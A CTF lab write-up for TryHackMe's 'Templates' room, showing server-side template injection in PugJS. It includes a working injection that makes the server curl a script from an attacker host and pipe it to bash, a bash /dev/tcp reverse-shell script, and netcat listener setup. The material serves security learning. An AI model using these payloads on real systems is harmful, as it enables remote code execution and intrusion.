Templates - TryHackMe

CTF Writeup for Templates from TryHackMe

Templates - TryHackMe
Photo by Bernd Thaller

This is a CTF by TryHackMe based on SSTI abuse.

By the looks of it, this will be purely a web based CTF, so I'm going to skip the usual nmap scan that would've been done; instead navigate to http://<ipv4>:5000/ .

Now for testing this, I researched online and found that PugJS was based on NodeJS; this will be good to know later, for now check HackTricks.

From this we can see it's giving direct user input into the template engine.

Security Note: Server Side Templates

In the real world this is almost the worst thing you could do; you always try to give the user the least amount of ability to manipulate the input to the framework, and anything that has to be retrieved from a user should be sanitized.

Now I went through and tested a small sample size of payloads of <10 and found one that proved SSTI was capable.

doctype html
head
  title Pug
  script.
    console.log("Pugs are cute")
h1 Pug - node template engine
#container.col
  p You are amazing
  p #{7*7}

With this result in mind we can now work on trying to get a reverse shell off the host; remember to keep in mind that the payloads will have to be NodeJS compatible.

I started testing the placement of the payloads within the template and found that it just works to leave it after the indented 'p'; following this I found a payload that worked well for me under the PugJS section of hacktricks SSTI.

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl <attacker-ipv4>:8000/payload.sh | bash')}()}
Explanation: this payload will call the NodeJS 'exec' to use curl to download the payload from the attacker, and directly pipe it into Bash for execution.

This is a two part payload because you also need to make this 'payload.sh', host it, and also have the netcat listener running; let's make the 'payload.sh' first.

#!/bin/bash
sh -i >& /dev/tcp/<attacker-ipv4>/<port> 0>&1
payload.sh
user$ python3 -m http.server
> Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Using python's 'http.server' to host on port 8000.
user$ nc -lvnp <port>
Start netcat listener on your port of choice.
doctype html
head
  title Pug
  script.
    console.log("Pugs are cute")
h1 Pug - node template engine
#container.col
  p You are amazing
  p #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl <attacker-ipv4>:8000/payload.sh | bash')}()}
Template to inject.
Caught reverse shell.

Now we have the reverse shell; you'll notice that the flag.txt is already there so no need for priviliege excalation on this one, go ahead and collect it.

flag.txt

Good example of SSTI and what to avoid when building a web application.

That's all :) .